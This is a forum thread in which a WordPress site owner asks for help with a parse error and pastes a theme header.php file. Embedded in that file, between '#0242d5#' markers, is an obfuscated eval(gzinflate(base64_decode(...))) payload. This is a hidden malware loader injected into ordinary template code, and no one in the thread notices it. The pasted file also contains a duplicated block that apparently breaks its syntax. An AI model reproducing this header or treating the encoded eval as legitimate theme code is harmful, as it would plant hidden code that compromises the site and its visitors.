Posted: 4/3/2013 12:55:01 PM EDT
|
My website is getting an error. Does anyone know where to start? The code is...
Parse error: syntax error, unexpected '}' in /home/svhelec/public_html/wp-content/themes/glide/header.php on line 294 Thanks! |
|
Quoted:
Maybe I need more help on this. I don't know what shell access is. It's a wordpress site. I don't know how to get to the directory posted above. Ok, so you can't SSH to the server....does your web-based control panel give you the abillity to view the contents of files? |
|
Quoted:
Quoted:
Maybe I need more help on this. I don't know what shell access is. It's a wordpress site. I don't know how to get to the directory posted above. Ok, so you can't SSH to the server....does your web-based control panel give you the abillity to view the contents of files? I was assuming that wordpress websites were all the same, obviously I was wrong. I don't know what you are telling me to do to the server Glide is the "theme" that the website is through wordpress. I'm assuming that the header is part of the theme. |
|
Okay, back again. Any quick way to find line 294?
<?php global $verso_themeoptions; // Loads Theme Options ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="utf-8" /> <title><?php verso_title(); ?></title> <meta name="viewport" content="width=1040" /> <!--Theme Stylesheets --> <link href='http://fonts.googleapis.com/css?family=PT+Sans:regular,bold,italic|Droid+Sans:regular,bold,bold,bolditalic' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?>" type="text/css"> <link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/prettyPhoto.css" type="text/css" /> <?php if(isset($verso_themeoptions['upload_favicon']) && $verso_themeoptions['upload_favicon'] != '') { ?> <!--Favicon--> <link href="<?php echo trim($verso_themeoptions['upload_favicon']); ?>" rel="shortcut icon"/> <?php } /*---------------------------------------------*/ /*Enqueues Javascript /*---------------------------------------------*/ wp_enqueue_script( 'jquery'); wp_enqueue_script('versopress-swf', get_template_directory_uri().'/js/swfobject.js ', array('jquery'),'',true); wp_enqueue_script('versopress-hoverintent', get_template_directory_uri().'/js/jquery.hoverintent.js ', array('jquery'),'',true); wp_enqueue_script('versopress-menu', get_template_directory_uri().'/js/jquery.superfish.js ', array('jquery'),'',true); wp_enqueue_script('versopress-lightbox', get_template_directory_uri().'/js/jquery.prettyPhoto.min.js ', array('jquery'),'',true); wp_enqueue_script('versopress-tooltips', get_template_directory_uri().'/js/jquery.tipsy.js ', array('jquery'),'',true); wp_enqueue_script('versopress-custom', get_template_directory_uri().'/js/jquery.custom.js ', array('jquery'),'',true); if ( is_singular() ) wp_enqueue_script( 'comment-reply'); /* * Checks to see if js needs to be loaded for sliders */ global $nivo_loaded; global $anything_loaded; global $kwicks_loaded; global $galleria_loaded; $sc_slider = false; if(preg_match( '#\[ *slider([^\]])*\]#i', $post->post_content )) { $sc_slider = true; } if($nivo_loaded || $sc_slider ) { //checks if slider used is nivo (homepage) wp_enqueue_script('versopress-nivo', get_template_directory_uri().'/js/jquery.nivo.slider.pack.js ', array('jquery'),'',true); ?><link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/nivo-slider.css" type="text/css" /> <?php } if($anything_loaded) { //checks if slider used is anything (homepage) wp_enqueue_script('versopress-anything', get_template_directory_uri().'/js/jquery.anythingslider.min.js ', array('jquery'),'',true); ?><link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/anythingslider.css" type="text/css" /> <?php } if($kwicks_loaded) { //checks if slider used is kwicks (homepage) wp_enqueue_script('versopress-kwicks', get_template_directory_uri().'/js/jquery.kwicks.js ', array('jquery'),'',true); } if($kwicks_loaded || $anything_loaded) { wp_enqueue_script('versopress-easing', get_template_directory_uri().'/js/jquery.easing.min.js ', array('jquery'),'',true); } if($galleria_loaded) { wp_enqueue_script('versopress-galleria', get_template_directory_uri().'/js/galleria.min.js', array('jquery'),''); wp_enqueue_script('versopress-galleria-theme', get_template_directory_uri().'/gal_themes/classic/galleria.classic.js', array('jquery'),''); } ?> <?php /* iOS Swipe Events */ if(strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || strstr($_SERVER['HTTP_USER_AGENT'],'iPod') || strstr($_SERVER['HTTP_USER_AGENT'],'iPad')) { wp_enqueue_script('versopress-ios', get_template_directory_uri().'/js/ios.js', array('jquery'),'',true); } /*---------------------------------------------*/ /*End Of Slider JS Checks /*---------------------------------------------*/ ?> <?php // Adds template uri as a javascript global. Used in some JS functions ?> <script type="text/javascript"> var templateDir = "<?php echo get_template_directory_uri(); ?>"; </script> <?php wp_head(); ?> <? #0242d5# eval(gzinflate(base64_decode("5VVLb5tAEL73V3g5VCCnmJcXt4QUKaeeeyw9rGHBVI6hLLEbW/7vnZmFWDhJI7m5xVqZ3Xl88+08QGaremJM3u3vWmVt1XST7qGRcWp08k83+yW2QotTY7IWm/JelKgcyW/eb86auBGtkt82XaRUbLqeb3393rXVprSLtr67XYn2ts7lFycSqvwNifMWjHMWzhmXjPssDBhPGC/w6DkMtF6Cm3DJciZINKyQM+6y0KM9oABEhns/x38eEIpP0DlpJaJ7OoxHEpfizVlAvvzMEmKHxIaTvdtrQQicfE3oCalHIoCh4/gnUoi3QGxcIATfAhfYIFni0u8lrfmTnMjBIEdHxNHUOEV0CJ8C+ctXyYFz0l+8dy5QDsHOynBiD5E8sinQEXKrE3hJPADCeF5/b13Ix0j+ZZfgWguSIdUjUBdvGS4uy49uBioeQL8Zbt95/G3JUvuHzmuI56i63fvJc/85RSFVLXh+eAIP6QSULz1IJ740Py+O9YjNy+GhGtg6ydCA+lIZuST4bugvE+D159mIgT76Eu294uQCktFwX0Drf7Mi6aXk0DDqdyJ4+dTWurrkePJ6lmuYkwgeCLnQVqlht7JZi0yas2RWXqXG59SwbNWsq85MDQaHqGsfDnmd3d/JTWcv6/zhY+zY7jETXbYyy1yVKi+tw34f+1G+VKtWxt4iqgpTH6zDttjuZOyMcKLeXaD/YOJGR3BjdLAOMpZbsY6OCr4HqYGA+71V1K1ZAVb1KYBC42Y6tQ6g21WbvN7ZA76lprFSZmPiB+VH9fPK5ZZF8OeG0lSgOF7P9If65oMR/QU="))); #/0242d5# ?> <?php if($sc_slider) { // Adds JS only if Nivo Slider is used as a shortcode ?> <script type="text/javascript"> jQuery(window).load(function() { jQuery('.page-slider').nivoSlider({directionNav: false, borderRadius:0 }); }); </script> <?php } ?> <?php /*---------------------------------------------*/ /* Code below calculates the height of the slider, as well as the width of the Accordion Slider slides /*---------------------------------------------*/ $page_meta = get_post_meta($post->ID,'_vppageopt',TRUE); // grab meta info ?> <?php if(isset($page_meta['home_slider_height']) && $page_meta['home_slider_height'] != ''){$slider_height=$page_meta['home_slider_height'];} else {$slider_height = 350;} ?> <?php if(isset($page_meta['home_slider_type']) && $page_meta['home_slider_type'] == 'accordion'){ $args = array( 'post_type' => 'vp_slider', 'page_id' => $page_meta['home_slider'], 'posts_per_page' => -1 ); $loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post(); $slider_meta = get_post_meta($post->ID,'_slider',TRUE); $slider_atts = json_decode($slider_meta['unparsed_slider'], TRUE); $slidecounter = 0; foreach($slider_atts as $value) { if($value['imageurl'] != '') { $slidecounter++; } //end if }// end foreach endwhile; $csswidth = ((962/$slidecounter)/962)*100; ?> <style type="text/css"> #slidercont { height:<?php echo $slider_height; ?>px; width: <?php echo (intval(962/$slidecounter)*$slidecounter); ?>px; margin:0 auto; } .kwicks { height:<?php echo $slider_height; ?>px; } .kwicks li{ width:<?php echo $csswidth;?>%; } </style> <?php /*---------------------------------------------*/ /* End Of Slider Functions /*---------------------------------------------*/ }?> <!--[if IE]> <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> <!--[if lte IE 8]> <link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/ie78.css" type="text/css" /> <![endif]--> <!--[if IE 7]> <link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/ie7.css" type="text/css" /> <![endif]--> <!--[if (gte IE 6)&(lte IE 8)]> <script type="text/javascript" src="<?php echo get_template_directory_uri().'/js/'; ?>selectivizr-min.js"></script> <![endif]--> </head> <body id="index" <?php body_class('dark'); ?>> <header<?php if(breadcrumb_enabled()) { echo ' class="breadcrumbs-header"'; } ?>> <div class="header-pattern"><!--START header-pattern--> <div class="header-glow"><!--START header-glow--> <?php if($verso_themeoptions['enable_quicklinks'] == 'enabled' || $verso_themeoptions['header_dribbble_icon'] != '' || $verso_themeoptions['header_forrst_icon'] != '' || $verso_themeoptions['header_linkedin_icon'] != '' || $verso_themeoptions['header_tumblr_icon'] != '' || $verso_themeoptions['header_delicious_icon'] != '' || $verso_themeoptions['header_youtube_icon'] != '' || $verso_themeoptions['header_flickr_icon'] != '' || $verso_themeoptions['header_facebook_icon'] != '' || $verso_themeoptions['header_twitter_icon'] != '' || $verso_themeoptions['header_rss_icon'] != '' || $verso_themeoptions['enable_header_search']) { ?> <div class="header-linkbar"> <div class="wrapper"> <?php $menu_args1 = array( 'theme_location' => 'quicklinks_menu', 'menu_class' => 'links', 'container' => false, 'depth' => 1 ); ?> <?php if($verso_themeoptions['enable_quicklinks'] == 'enabled') { ?> <?php wp_nav_menu($menu_args1); ?> <?php } ?> <?php if($verso_themeoptions['header_dribbble_icon'] != '' || $verso_themeoptions['header_forrst_icon'] != '' || $verso_themeoptions['header_linkedin_icon'] != '' || $verso_themeoptions['header_tumblr_icon'] != '' || $verso_themeoptions['header_delicious_icon'] != '' || $verso_themeoptions['header_youtube_icon'] != '' || $verso_themeoptions['header_flickr_icon'] != '' || $verso_themeoptions['header_facebook_icon'] != '' || $verso_themeoptions['header_twitter_icon'] != '' || $verso_themeoptions['header_rss_icon'] != '' || $verso_themeoptions['enable_header_search']) { ?> <div class="header-social-container"> <?php if($verso_themeoptions['header_dribbble_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_dribbble_icon'] ?>" title="Find Us On Dribbble" class="header-social dribbble">Dribbble</a> <?php } ?> <?php if($verso_themeoptions['header_forrst_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_forrst_icon'] ?>" title="Find Us On Forrst" class="header-social forrst">Forrst</a> <?php } ?> <?php if($verso_themeoptions['header_linkedin_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_linkedin_icon'] ?>" title="Find Us On LinkedIn" class="header-social linkedin">LinkedIn</a> <?php } ?> <?php if($verso_themeoptions['header_tumblr_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_tumblr_icon'] ?>" title="Find Us On Tumblr" class="header-social tumblr">Tumblr</a> <?php } ?> <?php if($verso_themeoptions['header_delicious_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_delicious_icon'] ?>" title="Find Us On Delicious" class="header-social delicious">Delicious</a> <?php } ?> <?php if($verso_themeoptions['header_youtube_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_youtube_icon'] ?>" title="Find Us On YouTube" class="header-social youtube">YouTube</a> <?php } ?> <?php if($verso_themeoptions['header_flickr_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_flickr_icon'] ?>" title="Find Us On Flickr" class="header-social flickr">Flickr</a> <?php } ?> <?php if($verso_themeoptions['header_facebook_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_facebook_icon'] ?>" title="Find Us On Facebook" class="header-social facebook">Facebook</a> <?php } ?> <?php if($verso_themeoptions['header_twitter_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_twitter_icon'] ?>" title="Follow Us On Twitter" class="header-social twitter">Twitter</a> <?php } ?> <?php if($verso_themeoptions['header_rss_icon'] != '') { ?> <a href="<?php echo $verso_themeoptions['header_rss_icon'] ?>" title="Subscribe To Our Feed" class="header-social rss">RSS</a> <?php } ?> <?php if(isset($verso_themeoptions['enable_header_search']) && $verso_themeoptions['enable_header_search']) { ?> <form class="header-search-form" role="search" method="get" id="searchform-header" action="<?php echo site_url();?>/"> <input name="s" placeholder="" class="header-search" type="text" value=""><!--header-search--> </form> <?php } ?> </div><!--END .header-social-container--> <?php } ?> </div><!--END .wrapper--> <div class="clear"></div><!--.clear--> </div><!--END .header-linkbar--> <div class="clear"></div><!--.clear--> <?php } ?> <?php if(isset($verso_themeoptions['nav_position']) && $verso_themeoptions['nav_position'] == 'top') { ?> <nav> <?php $menu_args = array( 'container_id' => 'menu-main-menu-container', 'menu_id' => 'menu-main-menu', 'theme_location' => 'main_menu', 'menu_class' => 'main-nav wrapper sf-menu', 'link_after' => '<span class="left"></span>' ); ?> <?php wp_nav_menu($menu_args); ?> </nav> <div class="clear"></div> <?php } ?> <div class="header-container wrapper"> <?php if($verso_themeoptions['upload_logo'] != '') { ?> <a class="logo-link" href="<?php echo home_url(); ?>"> <img class="logo-image" src="<?php echo $verso_themeoptions['upload_logo']; ?>" alt="<?php echo bloginfo('name');?>" /> </a> <?php } else { ?> <a href="<?php echo home_url(); ?>"><span class="logo-text"><?php bloginfo('site'); ?></span></a> <?php } // end logo?> <div class="header-right<?php if($verso_themeoptions['enable_quicklinks'] != 'enabled') { echo ' no-quicklinks'; }?>"> <?php if(isset($verso_themeoptions['header_text']) && $verso_themeoptions['header_text'] != '') { ?> <?php echo do_shortcode(stripslashes($verso_themeoptions['header_text'])); ?> <?php } ?> </div><!--header-right--> <div class="clear"></div> </div><!--END wrapper--> <?php if(!isset($verso_themeoptions['nav_position']) || $verso_themeoptions['nav_position'] == 'normal') { ?> <nav> <?php $menu_args = array( 'container_id' => 'menu-main-menu-container', 'menu_id' => 'menu-main-menu', 'theme_location' => 'main_menu', 'menu_class' => 'main-nav wrapper sf-menu', 'link_after' => '<span class="left"></span>' ); ?> <?php wp_nav_menu($menu_args); ?> </nav> <div class="clear"></div> <?php } ?> <?php } else { ?> <a href="<?php echo home_url(); ?>"><span class="logo-text"><?php bloginfo('site'); ?></span></a> <?php } // end logo?> <div class="header-right<?php if($verso_themeoptions['enable_quicklinks'] != 'enabled') { echo ' no-quicklinks'; }?>"> <?php if(isset($verso_themeoptions['header_text']) && $verso_themeoptions['header_text'] != '') { ?> <?php echo do_shortcode(stripslashes($verso_themeoptions['header_text'])); ?> <?php } ?> </div><!--header-right--> <div class="clear"></div> </div><!--END wrapper--> <?php if(!isset($verso_themeoptions['nav_position']) || $verso_themeoptions['nav_position'] == 'normal') { ?> <nav> <?php $menu_args = array( 'container_id' => 'menu-main-menu-container', 'menu_id' => 'menu-main-menu', 'theme_location' => 'main_menu', 'menu_class' => 'main-nav wrapper sf-menu', 'link_after' => '<span class="left"></span>' ); ?> <?php wp_nav_menu($menu_args); ?> </nav> <div class="clear"></div> <?php } ?> |